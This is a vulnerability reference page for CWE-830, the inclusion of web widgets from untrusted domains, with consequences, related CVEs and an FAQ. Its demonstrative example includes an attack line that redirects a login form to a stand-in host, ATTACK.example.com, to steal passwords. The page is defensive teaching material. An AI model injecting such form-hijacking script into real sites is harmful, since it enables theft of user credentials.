---
title: "CWE-830: Inclusion of Web Functionality from an Untrusted Source"
url: https://radicalnotion.ai/cwe/cwe-830
type: cwe
description: "The product includes web functionality (such as a web widget) from another domain in a way that causes the functionality to operate within the domain of the product, potentially granting total access and control of the product to the untrusted source."
updated: 2026-11-10
source: RadicalNotion.AI
license: CC BY-NC 4.0 (https://creativecommons.org/licenses/by-nc/4.0/)
---

# CWE-830: Inclusion of Web Functionality from an Untrusted Source

- **Abstraction:** Variant
- **Structure:** Simple
- **Status:** Incomplete
- **CVEs with this as primary weakness:** 12
- **Of those, in CISA KEV:** 0
- **New in 2026:** 1
- **CWE catalog version:** 4.21

## Description

The product includes web functionality (such as a web widget) from another domain in a way that causes the functionality to operate within the domain of the product, potentially granting total access and control of the product to the untrusted source.

## Modes of introduction

| Phase | Note |
| --- | --- |
| Implementation | REALIZATION: This weakness is caused during implementation of an architectural security tactic. |

## Applicable platforms

**Technologies:** Web Based (Undetermined), Web Server (Undetermined)

## Common consequences

| Scope | Impact | Note |
| --- | --- | --- |
| Confidentiality, Integrity, Availability | Execute Unauthorized Code or Commands | - |

## Demonstrative examples

### Example 1

This login webpage includes a weather widget from an external website:

Bad code:

```html
<div class="header"> Welcome!
    <div id="loginBox">Please Login:
        <form id ="loginForm" name="loginForm" action="login.php" method="post">
        Username: <input type="text" name="username" />
        <br/>
        Password: <input type="password" name="password" />
        <input type="submit" value="Login" />
        </form>
    </div>
    <div id="WeatherWidget">
        <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
    </div>
</div>
```

Attack code:

```javascript
...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

## Real CVEs with this weakness

| CVE | Title | Severity | CVSS | EPSS | CISA KEV | Published |
| --- | --- | --- | --- | --- | --- | --- |
| CVE-2023-2588 | Inclusion of Web Functionality from an Untrusted Source in Teltonika Remote Management System and RUT Model Routers | high | 8.8 | - | No | 2023-05-22 |
| CVE-2025-65109 | Minder does not sandbox http.send in Rego programs | high | 8.5 | - | No | 2025-11-21 |
| CVE-2024-29944 | Mozilla: Privileged JavaScript Execution via Event Handlers | high | 8.4 | - | No | 2024-03-22 |
| CVE-2024-42381 | - | high | 8.3 | - | No | 2024-07-31 |
| CVE-2025-33027 | - | high | 7.8 | - | No | 2025-04-15 |
| CVE-2025-33026 | - | high | 7.8 | - | No | 2025-04-15 |
| CVE-2026-97358 | Inclusion of Web Functionality from an Untrusted Source on B. Braun SpaceCom, Battery Pack SP with Wi-Fi | high | 7.0 | - | No | 2026-11-13 |
| CVE-2025-46652 | - | medium | 6.1 | - | No | 2025-04-26 |
| CVE-2025-43703 | - | medium | 6.1 | - | No | 2025-04-16 |
| CVE-2025-33028 | - | medium | 6.1 | - | No | 2025-04-15 |
| CVE-2024-35180 | OMERO.web JSONP callback vulnerability | medium | 6.1 | - | No | 2024-05-21 |
| CVE-2021-28162 | Command Injection in @theia/messages | medium | 6.1 | - | No | 2021-03-12 |

## Related weaknesses

| Relationship | CWE | Name |
| --- | --- | --- |
| Parent | [CWE-829](https://radicalnotion.ai/cwe/cwe-829) | Inclusion of Functionality from Untrusted Control Sphere |

## Frequently asked questions

### What is CWE-830?

The product includes web functionality (such as a web widget) from another domain in a way that causes the functionality to operate within the domain of the product, potentially granting total access and control of the product to the untrusted source.

### What CVEs are caused by CWE-830?

12 recorded CVEs are attributed to CWE-830, including CVE-2023-2588, CVE-2025-65109 and CVE-2024-29944.

### What are the consequences of CWE-830?

Exploiting CWE-830 can lead to: Execute Unauthorized Code or Commands.

### Is CWE-830 actively exploited?

12 recorded CVEs are caused by CWE-830; none are currently in CISA's KEV catalog of actively exploited flaws.

Primary source: [MITRE CWE](https://cwe.mitre.org/data/definitions/830.html)

---

Source: [RadicalNotion.AI](https://radicalnotion.ai/cwe/cwe-830). Licensed CC BY-NC 4.0; attribute RadicalNotion.AI and link the source page when you reuse this data.
